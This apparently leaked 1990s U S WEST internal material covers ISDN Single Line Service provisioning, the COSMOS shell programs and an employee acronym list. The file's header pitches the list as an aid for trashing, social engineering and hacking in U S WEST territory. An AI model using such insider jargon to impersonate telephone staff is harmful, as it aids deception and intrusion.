Basic ISDN will flow through LFACS and SWITCH, but RMA at COSMOS.

RESOLUTION:

    Manual establishment is required in COSMOS via the COSMOS shell programs
    ADD-PIPE and ADD-TERM.

DESCRIPTION:

    Single Line Service is a digital service that provides an integrated
    voice/data capability over the customers 2-wire facility utilizing NI-2
    technology and the public switched network.

    The NI-2 technology provides a digital network architecture which provides
    both a voice connection and a high low speed data connection simultaneously
    over existing telephone lines (twisted pair). These telephone lines are
    called Digital Subscriber Lines (DSL) and also referred to as the Pipe.

    The DSL between the customers premises and the central office is the Basic
    Rate Service (BRS) 2B+D.

    The DSL has a transmission rate of 144 Kbps (Kilobits per second) divided
    into three channels. There are two "B" channels capabile of 64 Kbps each
    and one "D" channel used for signaling and packet switched service.

    Each B channel is capable of:

        - Circuit Switched Voice
        - Circuit Switched Data

    The D channel is capable of:

        - Signaling (Q.931 protocol)
        - Packet Data (X.25 protocol)

    Single Line Service offers three types of applications. They are:

        - voice only
        - voice and data (includes circuit switched voice, data and/or packet
          switched data)
        - data only (includes circuit switched data and/or packet switched data)


BASIC RATE SERVICE (BRS):

    The BRS consists of up to three distinct channels on one pair of wires; one
    or two B (Bearer) channels and a D (Delta) channel. BRS is offered on either
    an Individual Case Basis (ICB) or in a packaged offering referred to as U S
    WEST Single Line Service. U S WEST Single Line Service is available on a
    measured rate basis.

    B (Bearer Channel - The B channel carries circuit switched voice and/or data
    communications and packet switched data communications at speeds of up to
    64Kbps, from the customer premises over the loop facility, to the central
    office.

    D (Delta) Channel - The D channel carries signaling and/or packet switched
    data communications at speeds up to 16Kbps on Basic Rate Interface and up
    to 64Kbps on Primary Rate Interface, from the customer premises to the
    central office. The D channel has both data and signaling functionality.

Primary Rate Interface (PRI):

    PRI has a capacity of 1.544 megabits per second (Mbps). There are twenty-
    three B channels and one D channel, known as 23B+D access. The B channels
    carry the circuit switched and packet data communications while the D
    channel carries the signaling information. The Primary Rate Interface is
    only available by individual case bases (ICB).

SERVICE ORDER ISSUANCE:

    Service orders are issued as POTS (Plain Old Telephone Service) orders.
    Customer premises must be loop qualified (no extender technology) to
    qualify for Single Line Service. Customer premises must, also, be serviced
    from a 5ESS switch or Optical Remote Module (ORM). Single Line Service will
    not be provisioned between central offices.

    Single Line Service carries the Class of Service (CS) of 13Q. If an ISDN
    customer wants an ISDN application beyond the Single Line Service offering,
    the customer can purchase ISDN on an ICB.

DUE DATE INTERVALS:    

    Single Line Service has a seven interval for nondesign. The seven day
    begins once the facilities have been pre-looped qualified and Marketing
    negotiates a due date (DD) with the customer. The seventh day is the DD.
    A three day interval is given to the customer if:

        - Adding a feature
        - Adding a terminal to an established N2Q
        - Moving a terminal to a different N2Q

    The above applies for 10 lines or less. If a customer has more than 10 lines
    going in, the Intervals will be on a ICB (Individual Case Basis) basis.

    The Single Line Service order will carry ADSR N (Administrative Design
    Service Review NO) a critical section with three Critical Date entries
    when issued nondesign. This is not a CPC processed order. The Critical
    dates for Single Line Service orders are required to ensure U S WEST
    meets the customer DD.

            * APP   - Application Date - 1 day.

            * SID   - Service Issue Date - 1 day.

            * LAM   - Loop Assigned and Make Up.  This is the date the LPC
                      must have the order assigned. If the LPC doesn't meet
                      this date, it will greatly affect the RCMAC, frames
                      and installation - 1 day.

            * DVA   - Designed Verified and Assigned.  This is an RCMAC and
                      frame date - 2 days.

            * PTD   - Plant Test Date.  This is the date for the installer -
                      1 day.


    An example below shows how the intervals would appear on the service order
    if the customers DD is 11-14.

            ID      DD 11-14
        ---CTL      SID 11-08/LAM 11-04/DVA 11-11/PTD 11-12


STANDARD INTERFACES:

    NI-2 does not refer to Point-to-Point or Multipoint interfaces. NI-2
    Supports Standard Interfaces.

    All Standard Interfaces support up to eight terminals per BRS. A BRS
    supporting NI-1 allows a customer to have one device active on one BRS.
    This one device may be capable of both circuit switched data and voice,
    as well as packet switched data. Only one terminal may use a B Channel at
    one time. The D Channel maybe used by eight packet switched data terminals
    simultaneously.

PRIMARY DIRECTORY NUMBER (PDN):

    The first or main Directory Number (DN) on a terminal is referred to as a
    *Primary Directory Number* (PDN). Each logical terminal will have a primary
    directory number associated with it. Only one terminal can have this number
    as its primary DN.

    Each terminal is assigned one PDN. Up to eight terminals, each with with one
    PDN are allowed for the additional PDN's.

    The USOC LNM1X is the PDN USOC. A PDN may have multiple call appearances.

    A PDN can be shared with other terminals. When the PDN is shared, the MADN
    FID is shown with the above USOC's.

SHARED DIRECTORY NUMBER:

    Shared Directory Numbers allows several users to share one or more call
    appearances for a particular directory number. All Shared Directory Numbers
    must be provisioned from the same serving central office. The Shared
    Directory Number USOC is D08.

COSMOS SYSTEM:

    * RELATED FACILITY FILE:

    The Related Facility capability in COSMOS associates the Single Line
    Service terminal(s) to the Single Line Service DSL(s). The PL ID associated
    with each terminal off of the DSL is identified as a Related Facility. The
    RF file keeps track of the number of appearances of the PL and places a
    unique identification against the Single Line Service DSL and each terminal.
    The unique indentification is MULT APP (Multiple Appearance) and the number
    of appearances of the PL (e.g. 2 terminals off of pipe = MULT APP 3; Pipe
    PL ID counts as 1 appearance and the PL ID appears on 2 terminals for a
    total of three appearances).

    A new prefix ATR (attribute) associates the related circuits to the DSL.
    The applicable FID's that are entered behind the prefix "ATR" are:

            * CCF (Custom Calling Features)
            * DSNA (Digital Services Network Assignment)
            * FF (Interoffice Frame Facilities)
            * GF (General Facility (e.g. SFG's ,etc.))
            * KEY (Key Number)
            * MADN (MADN Service)
            * MLI (Multiple Line Appearance Indentifier)
            * PL (Private Line)
            * RK (Release Key)
            * TN (Telephone Number)
            * TEI (Telephone Equipment Indentification)

COSMOS  "SHELL"  PROGRAMS:

    There are several Shell programs administered in COSMOS to accommodate
    the establishment of the ISDN and ISDN like circuits in COSMOS. These
    programs are accessed through a standalone terminal (A SYNC Terminal)
    or a asynchronous terminal with dial up capabilities. Transaction RNS
    allows the user in the SHELL programs. The shell programs are:

        *   ADD-PIPE
        *   ADD-TERM
        *   APPEND-PIPE
        *   D-POE-SEL

            *   ADD-PIPE is used to establish the ISDN pipe(s).

            *   ADD-TERM is used to establish the ISDN logical terminals.

            *   APPEND-PIPE is used to append to an existing service order.

            *   D-POE-SEL is used when changing the OE and POE for
                maintenance reasons, and multiple hunts.

    The Shell programs must be performed to establish these circuits in COSMOS.
    These programs have the capabilities of load balancing the office, as well
    as, automatically assigning the OE and POE. Establishing the Single Line
    Service circuits outside of the Shell program will cause potential switch
    and customer problems. USING TRANSACTION SOE IS NOT AN OPTION, except for
    Single Line Service multiline hunt.

    Transaction MAQ (Manual Assistance File Inquiry) in the delete mode must
    be performed before establishing the, Single Line Service circuits in the
    Shell programs ADD-PIPE, ADD-TERM or APPEND-PIPE. The MA tigger is set for
    a COSMOS MA which generates a C1 RMA. All C1 RMA's are placed in the MAQ
    file. If the Single Line Service order is not removed, the order will RUP
    back each time the ADD-PIPE and ADD-TERM are established which generates
    more paper to the downstream systems.


EDITING THE SHELL PROGRAMS:

    The Shell programs ADD-PIPE, ADD-TERM and APPEND-PIPE can be edited
    utilizing the existing TED file commands. When the Shell programs ask
    the question "Is thos satisfactory? (answer yes (y), no (n) or edit (e),"
    the user at that point would answer e for edit.

    COSMOS places the user in the TED file (scratch pad) at this point. COSMOS
    responds with 2 to 3 numerics (e.g. 104). This represents the number of
    characters in the TED file. The user can print the file by entering 1,$n.
    1,$P prints the file from the beginning of the file to the end of the file.
    1,$n prints the file and numbers each line from the beginning of the file
    to the end of the file.

    The following operations may be performed when editing the TED file.

        *   Text is appended to the file with the 'A' command. (Change xxx for
            yyy and print the lines.) Information is entered after the current
            line into a buffer area exactly as typed. No limit on the number of
            lines entered.

        *   Lines of the file are printed with the 'P' command.

            -   1,$P - Prints the beginning of the file to the end of the file.

            -   1,$n - Prints and numbers each line from beginning to the end.

            -   P - Prints the current line.

            -   C - Change Mode - Current line is changed.

            -   D - Delete Mode - Delete current line.

            -   I - Insert Mode - Text is inserted before the current line.

            -   S - Substitute Mode - On current line, "yyy" is substituted
                    for "xxx". Only the part of the line matching "xxx" will
                    be changed.

                        Example:    s;xxx;yyy;P

        *   Updating the file is accomplished with the "W" command. The text is
            stored by entering command "W" and line feed.

        *   The user exits the file from editing with the letter Q (quit).

        NOTE:   The user should always write (W) the file prior to entering the
                quit (Q) command in order to save the changes made in the text
                editor.

        *   Period (.) indicates end of input when performing the commands.

            A (append), C (change), and/or I commands, a period (.) must be
            entered before writing or quiting the file to indicate that is the
            end of the input.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


                             Time for a Change

                                presents

                          USWest Acronym List

		       Brought to you by: Terminal

                        And USWest Communications

-----------------------------------------------------------------------------
   
   Well, you might be thinking right now "Great, just what we need is another
acronym list" .. Well, let me assure you that this is not just ANOTHER
acronym list, this is *THE* acronym list... This acronym list is straight
from USWest, so you can be sure that all information is correct, either
that or USWest is very confused.

   You may find that it is a bit USWest specific, or does not cover all of
the acronyms that maybe AT&T and other Long Distance providers use.. But
if you often trash, Social Engineer, or hack in USWest territory, you will
find the following information invaluable.

-----------------------------------------------------------------------------

Start of Document.

=====================================================================
		       ACRONYMS (UPDATED 05-26-94)
=====================================================================

Updates of Acronyms show two asterisks (**) after the acronym to
indicate an addition or change since 05-26-94.  Deletes are NOT
noted in any way.

This guide has been designed to provide a functional Acronym directory
for U S WEST employees ONLY.  It contains company names and numerical
and alphabetical listings of acronyms used within U S WEST and its
subsidiaries/affiliates.

The system allows you to search for a specific acronym or word
contained within an acronym definition.  However, the acronym you are
searching for must be input exactly as listed in the system, e.g.,
1A EADAS must be input as 1A(space)EADAS.  If you are unable to find
the requested acronym, search using the first character of the
acronym.
Some acronyms may have more than one meaning, e.g., CPS may mean
Customer Premises System or Corporate Policy Seminar or Characters
Per Second.  In these cases, the acronym will have a numeric value
in parenthesis to indicate the number of definitions.
This guide will only be a good resource if the information is current.
We ask that you take personal responsibility for keeping it updated
by contacting (via E-Mail):
			 Acronym Administrator
		   U S WEST Business Resources, Inc.
			   USWEST(U25ACR)
Please include your name, work telephone number, and department name
(for U S WEST Communications) or company name (for unregulated
affiliate/subsidiary employees).
This guide will be updated as needed.  When updates are made, the
date at the top will change to reflect the most current issue.
We cannot supply a copy of this report upon request.
---------------------------------------------------------------------
U S WEST COMPANY NAMES
---------------------------------------------------------------------
ATI                U S WEST Advanced Technologies, Inc.
BCR                U S WEST Bellcore Rotational Personnel
BRI                U S WEST Business Resources, Inc.
CAP                U S WEST Capital Corporation
CSI                U S WEST Communications Services, Inc.
DIR                U S WEST Direct
ESI                U S WEST Enhanced Services, Inc.
FED                U S WEST Federal Services, Inc.
FSI                U S WEST Financial Services, Inc.
GCI                Gulf Cellular, Inc.
IBDG               USW International and Business Development Group
INT                U S WEST International Holdings, Inc.
ITS                Information Technologies Services
MHT                Malheur Home Telephone Company
MIS                Management Information Services
MRG                U S WEST Marketing Resources Group
MRP                U S WEST Marketing Resources Plus
NVG                U S WEST NewVector Group, Inc.
NWB                U S WEST Enterprises, Inc. (Northwestern Bell Phones)
RVI                Residual Value Insurance Services Co., Ltd.
SEI                Spectrum Enterprises International
TCR                Telcor (A U S WEST joint venture)
TEL                Telematics, Inc.
TWP                TransWestern Publishing
UDG                U S WEST Diversified Group
UEF                U S WEST Education Foundation
UII                U S WEST Investments, Inc.
UOP                U S WEST Optical Publishing (Division of U S WEST
			    Systems, Inc.)
USF                U S WEST, Inc. -- Federal Relations
USM                U S WEST Strategic Marketing
USW                U S WEST, Inc.
USWC               U S WEST Communications, Inc.
USWI               U S WEST International, Inc.
USWO               U S WEST Overseas Operations, Inc.
VCI                U S WEST Venture Capital, Inc.
WRI                Western Range Insurance Co.

---------------------------------------------------------------------
NUMERICAL
---------------------------------------------------------------------

10 HD              Ten High Day
1A EADAS           1A Engineering and Administrative Data
		   Acquisition System
1B EADAS           1B Engineering and Administrative Data
		   Acquisition System
1AESS              1A Electronic Switching System (ATT)
4ASEES             4A Switching Equipment Engineering System
4ESEES             4E Switching Engineering System
5EDOPS             5 ESS Digital Office Planning System
5ESS (2)           Digital Switching Equipment
		   Class 5 Electronic Switching System (ATT)
5XB-COER           No 5 Crossbars -- Central Office Equipment Reports
5XBAR/COER         5 Crossbar Central Office Equipment Reports
725                Account 725 Distribution 725-02
		   Recurring Right to Use
800DA              800 Directory Assistance
9116               Customer Service Order Errors Format
960 NAS            960 Network Access Service
976 IDS            Information Delivery Service

---------------------------------------------------------------------
ALPHABETICAL
---------------------------------------------------------------------

A & M              Additions and Maintenence
A/D                Analog to Digital
AA                 Administrative Area
AACATS             Authorized Agent Compensation and Tracking Systems
AAP                Affirmative Action Program
AAS                Accounting Application Services
ABATS              Automated Bit Access Test System
ABCAS              Access Bypass and Customer Analysis System
ABCD               Automotive Building Claims Development
ABD                Average Business Day
ABEND              Abnormal End of Job
ABS (2)            Average Busy Season
		   Alternative Billing Service
ac                 alternating current
AC (2)             Access Concentrator
		   Authorized Carrier
AC/ID              Access Charge/Intra-lata Distribution
ACAS               Access Charge Analysis System
ACAT               Additional Cooperative Acceptance Testing
ACBS               Agent Compensation Billing System
ACC                Arizona Corporation Commission
ACC CHG            Access Charge Analysis
ACCS               Automated Calling Card Service
ACD (3)            Automatic Call Distributor
		   Automatic Call Distributing System
		   Average Calendar Day
ACE                Automated Cable Expertise
ACES               ARIS CABS Entry System
ACH                Applications Clearing House
ACI (2)            Applied Communications, Inc.
		   Associated Company Interstate Services
ACIS               Automatic Caller/Customer Identification System
ACK                Affirmative Acknowledgement
ACM (2)            Address Complete Message
		   Agent & Consultant Marketing
ACMC               Access Capacity Management Center
ACMS               Access Capacity Management System
ACNA               Access Customer Name Abbreviation
ACO                Administrative Control Center
ACP                Automatic Circuit Provisioning
ACR                Actual Cost Record
ACS                Advanced Communications Service
ACT                Automatic Circuit Testing
ACTGA              Attendant Control of trunk Group Access
ACTL               Access Customer Terminal Location (a.k.a. POI)
ACTRAK             Apparatus Actuals Tracking System
ACTS (2)           Automated Coin Telephone System
		   Automatic Coin Toll Service
ACU                Automatic Calling Unit
AD (2)             Assignment Date
		   Assignment Division
AD&D               Accidental Death & Dismemberment
ADAPT              A Data Parsing and Transformation System
ADBS               Access Data Base System
ADC                Application Development Center
ADD                Aggregate Design Data
ADF                Application Development Facility
ADIS               Automatic Data Interchange System
ADL                Additional Line
ADMIN              Administration of 08 Data Systems
ADNC               Address Name Code
ADNET              Administrative Data Network
ADP                Anticipated Disability Plan
ADPCM              Adaptive Differential Pulse Code Modulation
ADR                Adjustment Detail Report
ADS (2)            Administration of Designed Services
		   Area Data Set
ADSR               Administration of Designed Services Review
ADTS (3)           Automatic Data Test System
		   Automated Data Test System
		   Automated Digital Transmission System
ADTS-ESA           Automated Data Test System - Economic Study Aid
AE                 Account Executive
AEMIS              Automatic Electronic Management Info System
AF                 Assembled Facility
AFADS              Automatic Force Administration Data System
AFFIRMS3           Affirms3 Facility Management System
AFOR               Alternative Form Of Regulation
AFP                Advanced Function Printing
AFR                Available for Reassignment
AFST               Administrative Forcasting Statlib Test
AFUDC              Allowance Funds Used During Construction
AHN                Assigned House Number
AHP                Application Handling Processor
AHT                Average Holding Time
AI                 Artificial Intelligence
AIA                Accounting Inventory Adjustment
AIC (3)            Account Inquiry Center
		   Audiotex Information Center
		   Automatic Intercept Center
AIM (4)            Advanced Information Markets
		   Automated Information Manager
		   Automated Information Management
		   Applications in Marketing
AIMS               Application Information Management System
AIOD               Automatic Identified Outward Dialing
AIR                Action Item Report System
AIRS (2)           Annual Inventory Reconciliation System
		   Account Inventory Reconcilement System
AIS (4)            Automated Intercept System (Minicomputer Functions)
		   Advanced Information Systems
		   Answer Index Study
		   Average Investment per Station
ALAC (2)           Accounting Location Access Code
		   Alternative Local Access Carrier
ALC                Accounting Location Code
ALGOL              Algorithmic Language
ALI                Automatic Location ID
ALIT               Automatic Line Installation Test
ALLOC              Allocation
ALRU               Automatic Line Record Update
ALS                Advanced Leadership Seminar
ALT                Assignable Line Table
ALTP               Alternate Local Transport Provider
ALU                Arithmetic and Logic Unit
AM (2)             Account Manager
		   Amplitude Modulation
AMA (2)            Automated Message Accounting
		   Automatic Message Accounting
AMA/DDD            Automatic Message Accounting/Direct Distance Dialing
AMA/PTR            Automatic Message Accounting/Paper Tape Report
AMAC               Automatic Message Accounting Center
AMACC              Automatic Message Accounting Control Center
AMACCS             Automatic Message Accounting Control Center System
AMACS              Automatic Message Accounting Collection System
AMAECS             Automatic Message Accounting Error Correction System
AMANA              Automatic Miscellaneous Account Number Assignment
AMARC (2)          Automatic Message Accounting Recording Computer
		   Automated Message Accounting Recording Center
AMARC/BDT          Automatic Message Accounting Recording Center/
		   Billing Data Transmitter
AMARC/BSR          Auto Message Acctg Recording Center/Business Service
		   Results
AMARS              Automatic Message Accounting Recording System
AMAS               Ama Straddle
AMAT               Automatic Message Accounting Transmitter
AMATCS             Automated Message Accounting Telecom System
AMATPS             Automated Message Accounting Teleprocess System
AMATT              AMA Tape Tracking
AMC                Area Management Council
AMC/EMC            Area Exchange Management Councils
AMCEE              Association for Media Based Continuing Education
		   for Engineer
AMD                Assignment Modify Data
AMEX               American Express
AMI                Alternate Mark Inversion
AMIS               Access Management Information System
AMIS-E             Accounts Master Inquiry System-Enhanced
AML                Actual Measured Loss
AMMS               Advanced Materials Management System
AMPS               Advanced Mobile Phone Service
AMR                Automatic Message Recording Equipment
AMS                Access Method Services
ANA                Assigned Night Answer
ANALIT             Analysis of Automatic Line Insulation Test
ANC (2)            Automatic Network Configuration
		   All Number Calling
ANCOF              Annual Cost Factors
ANI                Automatic Number Identification
ANI/OE             Automatic Number Identification/Order Entry --
		       product -- USW provides for cable companies
		       (pay per view)
ANM                ANswer Message
ANR                Assignment Not Required
ANSI               American National Standards Institute
AO (2)             Automotive Operations
		   Audio Options - the umbrella name for all audio
			products
AOC                Average Original Cost
AOCC               Automotive Operations Control Center
AOP                Authorized Ordering Person
AOS (2)            Automated Office Systems
		   Alternative Operator Services
AOSC               Automotive Operations Support Center
AOSP               Alternate Operator Service Provider
AOSS               Advanced Office System Study
AOTT               Automatic Outgoing Trunk Test
AP                 Audio Program
APACS              Address Purification and Conversion System
APARS              Automatic Payment and Recording System
APG                Automatic Priority Group
APG/OP             Accounting Procedures Guide/Office Practice
APL                Algebraic Programming Language
APMS               Air Pressure Monitoring System
APOP               Alternate Point Of Presence
APOSS              Auxiliary Processor Operational Support System
APP (2)            Accident Prevention Plan
		   Applicaton Date
APS (2)            Advanced Paging Services
		   Automatic Protection Switching
		   Mechanized
APTS               Audit Program Tracking System
AQCB               Automated Quote Contract Billing - replaced APTOS
AR                 Automatic Routing
		   Assignment Request
ARADCOM            Army Air Defense Command
AREG               Apparatus Repair-Strategy Evaluation Guidelines
ARIS               Access Request Information System
ARO                Administration Reporting Office
AROR               Authorized Rate of Return
ARPM               Average Revenue per Message
ARR                Assignment Request Response
ARS (2)            Audio Response System
		   Automatic Route Selection
ARST               Automated Repair Service Bureau
ARSB-2             Automated Repair Service Bureau
ARST-2/GROWTH      Automated Repair Service Bureau/Growth
ARSBERG            Automated Repair Service Bureau Error Reconciliation
		   Group
ARSS               Access Retrieval Support System
ARTS               Automated Trouble Reporting System
ARU                Audio Response Unit
ARV                Asset Record Verification
ARX                Accounting Receiving Executive System
AS                 Application System
ASAP               Automated Survey Analysis Package
ASC/BUSINESS       Account Service Center-Business
ASC/RES            Account Service Center-Residence
ASCCS              Automatic Switching Control Center System
ASCIC              Access Service Customer Identification Charge
ASCII              American Standard Code for Information Interchange
ASCS               Alarm Scanning and Control System (Scan-Alert)
ASD                Administrative Services Department
ASG (2)            Application Services Group
		   Access Service Group
ASH                Abnormally Short Holding Time
ASIS (2)           Automated Sales Implementation and Support
		   Automated Sales Implementation System
ASM                Auxiliary Storage Manager
ASO                Assigned Service Order
ASPTS              Auditing and Security Project Tracking System
ASR (3)            Accounting Service Register
		   Automatic Send-Receive Teletypewriter
		   Access Service Request
AT (3)             Access Tandum
		   Advanced Technologies
		   Assist Test
AT&T               American Telephone and Telegraph
ATA                Automatic Trouble Analysis System
ATB                All Trunks Busy
ATD                Address Telephone Directory
ATEMIS             Alston Traffic, Engineering and Mgmt Info System
ATEP               Advanced Technical Education Program
ATI                U S WEST Advanced Technologies Division
ATM (2)            APTOS Tariff Mechanism
		   Asynchronous Transfer Mode
ATMS               Automatic Transmission Measurement Systems
ATR                Alternate Traffic Routing
ATRS (2)           Automatic Trouble Reporting System
		   Automated Trouble Reporting System
ATS                Asset Transfer Process
ATSS               AMARC Tape Security System
ATT/C (2)          American Telephone and Telegraph/Communications
		   AT&T Communications
ATT/IS             AT&T Information Systems
ATTC               Automatic Transmission Test and Control Circuit
ATTC/CIDS          AT&T Communications Customer Information
		   Distribution S
ATTCOM             AT&T Communications
AUL                Annual Under-utilization Liability
AUTODIN            Automatic Digital Network
AUTOVON            Automatic Voice Network
AUTRAX             Automatic Traffic Recording and Analysis Complex
AV                 Audio Visual
AVCSR              Average Customer Bill (Deposits)
AVD                Alternate Voice-Data
AVIL               Audio Visual Instruction Library
AVO                Advance Order
AWT (2)            Actual Work Time
		   Average Work Time
AX                 Auxiliary Transaction
AZ                 Arizona
B82S               Bipolar with Eight Zero Substitution
B/CL               Business/Consumer List
B&C                Billing and Collections
		   Billing and Collection Services
BAC                Billing and Collection
BACAS              Bargaining and Contract Administration System
BAMS               Building Administration Management System
BAN                Billing Account Number
BANCS              Bell Administrative Network Communications System
BAND               Bandwidth
BARF               Basic Automatic Regression Test Failure Report
BARS               Billing Administration Records System
BART               Billing and Receivable Tracking
BASIB              Bell Administration Services for Intra-Co Billing
BASIC              Beginners All Purpose Symbolic Instruction Code
BATS               Bits Access Test System
BAU                Business As Usual
BC List            Business and Consumer Listings
BCC                Block Check Character
BCD                Binary Coded Decimal
BCF                Billion Conductor Feet
BCMP               Bulk Screen Compare Function
BCP                Bell Company Practice
BCR (2)            Billing, Collecting, and Remitting
		   Bell Communications Research
BCR TUF            Bellcore Translator of USOC and FIDS
BCS 2001           Billing Verification System
BCSC (2)           Bell Customer Service Centers
		   Business Customer Service Center
BCTM               BOSS-CRIS Table Mechanization
BDAC               Business Dispatch Administration Center
BDAM               Basic Direct Access Method
BDC (2)            Building Distribution Cable
		   Bell Distribution Center
BDT                Billing Data Transmitter
BEC                Bell Exchange Carrier
BEMARR             Building Energy Management Redesign Retrofit
BER                Bit Error Rate
BERPM              Basic Exchange Rate Planning Model
BERT               Below Ground Electronics Remote Terminal
BESMIS             Basic Exchange Service Management Information System
BHDR               Busy Hour Determination Report
BHDS               Busy Hour Determination Study
BHMC               Busy Hour Minutes of Capacity
BIC (2)            Building Industry Consultant
		   Benefits Information Center
BICS (2)           Building Industry Consult Services
		   Business Information Control System
BIN                Bell Information Network
BIO                Bureau Initiated Orders
BIP (2)            Border Interconnection Point
		   Billed (Independent) Percentage
BIR                Bell Independent Relations
BIRC               Business Installation and Repair Center
BIS (3)            Business Information Systems
		   Business Information Services
		   Business Information System Agreement
BIS/NS             Business Information System/Number System
BISAM              Basic Indexed Sequential Access Method
BISCOM             Business Information Systems Communications System
BISCUS             Business Information Systems Customer Service
BISCUS/FACS        Business Information System-Customer Services/
		   Facilities Assignment and Control System
BISDN              Broadband ISDN
BISNS              Business Information System-Number Services
BISP               Business Information Systems Programs
BISSDP             Business Information System-Systems Development
		   Practices
BISYNC             Binary Synchronus Protocol
BIT                Binary Digit
BITS               Business Interim Tracking System
BL                 Bridge Lifter
BLI                Busy Line Interrupt
BLIS               Bell Legal Information System
BLV                Busy Line Verification
BME                Basic Medical Expense Plan
BMF                Billing Master File
BMIS               Business Marketing Information System
BMOSS              Building Maintenance Operations Support System
		   Building Maintenance Operations Services System
BMP                Batch Message Processing
BMTIS              Bell Mechanized Training Information System
BNA                Billing Name and Address
BNS                Billed Number Screening
BO                 Business Office
BOC (2)            Business Opportunities Council
		   Bell Operating Company
BOC/WIS            Bell Operating Company/WATS Information System
BOCAP (2)          See TOMAS
		   Business Office Cost Analysis Plan
BOCC               Building Operations Control Center
BOCCS              BOC Compensation System
BOCS               Bell Operating Companies
BOE                Base Operating Environment
BOFADS             Business Office Force Administration System
		   See TELECALC
BOMAC              Batch and On-Line Master Catalog Update
BOR                Basic Output Reports
BOS                Bell Operating System
BOSS (2)           Business Office Support System
		   Billing and Order Support System
BPAM               Basic Partitioned Access Method
		   Bits Per Inch
BPN                Billing Port Number
BPOC               Bell Point of Contact
BPP                Billed Party Preference
bps                Bits Per Second
BPSS               Bell Packet Switching Service
BR                 Business Relations
BR/BPOC            Business Relations/Bell Point of Contact
BRA                Basic Rate Access
BRAT               Business Residence Account Tracking
BRE                Bell Regulated Entity (Pre-Divestiture Terminology)
BRI (2)            U S WEST Business Resources, Inc.
		   Basic Rate Interface
BRIS (3)           Billed Business Revenue Information System
		   Billing Revenue Information System
		   Billed Revenue Information System
BRL/CCM            Buy/Rent/Lease Copier Configuration Model
BRL/RMP            Buy/Rent/Lease for RMP Costs
BRMIS (2)          Billed Revenue Management Information System
		   Billed Revenue Marketing Information System
BRRP               Bypass Revenue at Risk Program
BRS                Business Radio System
BRSC               Business Retail Sales Center
BRW                Billing Review Workbench
BSAM               Basic Sequential Access Method
BSC (3)            Business Sales Center
		   Binary Synchronus Protocol
		   Business Service Center
BSCC               Business Service Control Center
BSCL               Bell System Common Language
BSCMT              Business Service Center Maritz Tapes
BSCSR              Business Service Center Sales Report
BSCSR/EBO          Business Service Center Sales Report/Embedded Base
		   Organization
BSCTE              Bell System Center for Technical Education
BSE                Basic Service Element
BSFAP              Business Services Facilities Administrative Practice
BSFEP              Business Services Facilities Engineering Practice
BSIRC              Basic Services Installation/Repair Center
BSMCC              Basic Services Maintenance Control Center
BSMP               Billing Service Measurement Plan
BSMVT              Billing Service Measurement System
BSP                Bell System Practice
BSSP               Bell System Savings Plan
BTAM               Basic Telecommunications Access Method
BTC                BANCS Terminal Concentrator
BTIS               Business Toll Information System
BTL                Basic Termination Liability
BTN                Billing Telephone Number
BTS (3)            Batch Terminal Simulator
		   Bell Tri-Co Services
		   Business Tracking System
BUDDEV             Budget Development
BUDGET             ISS Budget System
BUGS               Business Usage Gathering System (WA and OR only)
BUILDTRK           Building Cost Information System
BUS                System of Electrical Lines Inside the Computer
BVA (2)            Billing Validation Application
		   Billing Validation Administration
BVAPP              Billing Verification and Authorization for
		   Payment Process
BVM(r)             Billing Validation Services
BVS                Billing Validation Services
BY                 Busy
C                  Programming Language Used in Unix
C,I&M              Construction, Installation & Maintenance
C/N                Carrier to Noise
C1                 Use TIRKS-C1
C1/CDS             Use TIRKS-C1/CDS
C1/DAC             Use TIRKS-C1/DAC
C1/DIST            TIRKS-Circuit Layout Distribution Module
C1/INV             Use TIRKS-C1/INV
C1/MDS             Use TIRKS-C1/MDS
C1/PREP            TIRKS-Circuit Layout Preparation Module
C1/REF             Use TIRKS-C1/REF
C1/TAS             Use TIRKS-C1/TAS
CA (3)             Connecting Arrangement
		   Change Accumulation
		   Control Area
CA&T               Carrier Access and Transport
CABS (2)           Carrier Access Billing System
		   Customer Access Billing System
CAC (3)            Circuit Administration Center
		   Circuit Access Code
		   Contract Administration Center
CACS               Customer Administration Center System
CAD (4)            Computer Aided Design
		   Computer Assisted Design
		   Computer Aided Drafting
		   Connect Aerial Drop
CADE               Computer Assisted Data Entry
CADV               Circuit (Switched Digital Capbility) Alternate
		   Data Voice
CAE                Computer Aided Engineering
CAE/IFS            Computer Aided Engineering/Interoffice Facility System
CAE/MEMS           Computer Aided Engineering/Mechanized Engineering
		   Management System
CAE/MTPS           Computer Aided Engineering/Messenger Trunk Planning
		   System
CAE/RICS           Computer Aided Engineering/Reuse Inventory Control
		   System
CAE/SPOS           Computer Aided Engineering/Switched Plan and Order
		   System
CAFE               Core Analytic Front End
CAGRP              Change Accumulation Group
CAI                Computer Assisted Instructions
CAL                Command-A-Link
CALC               Customer Access Line Charge
CAMA               Centralized Automatic Message Accounting
CAMI               Core Analytic Model Interface
CAMIS              Construction Activities Management Information System
CAMIS J/S          CAMIS Job Scheduler
CAMISOL            Construction Activity Mgmt System Online
CAMP               Cost Analysis Measurement Plan
CAMRAS             Computer Assisted Mapping and Record Activities System
CAMS               Customer Appointment Management System
CAN                Customer Access Network
CAP (2)            Corporate Accounting Process
		   Customer Administration Panel
CAP/COM            Corporate Accounting Process/Cost Distribution
		   Module
CAPCOST            Capital Cost Model Switched Network Cost Analysis
		   Models
CAPMAN             Capacity Management System
CAPP               Computer Assisted Printing and Publishing
CAPR               Cable Pair Summary Program
CAPRI              Computer Assisted Purchasing, Receiving and
		   Invoicing
CAPS (3)           Cable Analysis and Provisioning System
		   Corporate Accounting Process System
		   Customer Analytic Profile System
CAR (2)            Computer Assisted Retrieval
		   Controlled Assignment Request
CARACC             Carrier Access
CARE (2)           Customer Account Record Exchange
		   Computer Administration Report and Evaluation
CARL (2)           Computerized Administrative Route Layouts
		   Customer Account Records Lookup
CAROT              Centralized Automatic Reporting On Trunks
CAROT2             Centralized Automatic Reporting On Trunks-2
CARS (2)           Customer Account Retrieval System
		   Computerized Automotive Replacement Scheduling
CAS (5)            Cost Accountability System
		   Carrier Alarm Scanner
		   Centralized Attendant Service
		   Compensation Analysis System
		   Corporate Accountability System
CASE               Computer Aided Software Engineering
CASH               Customer Payments Entry Sub-System
CASHFLO            Commercial Paper Module of Cashflo System
CASS               Computer Aided Switched Services
CASSIS             Carrier Access Service Split Information System
CAT                Use CA&T
CAT/MIS            Carrier Access and Transport/Mgmt Information System
CATI               Computer-Assisted Telephone Interviews
CATLAS             Centralized Automatic Trouble Locating and Analysis
		   System
CATLG              Equipment Reference Catalog
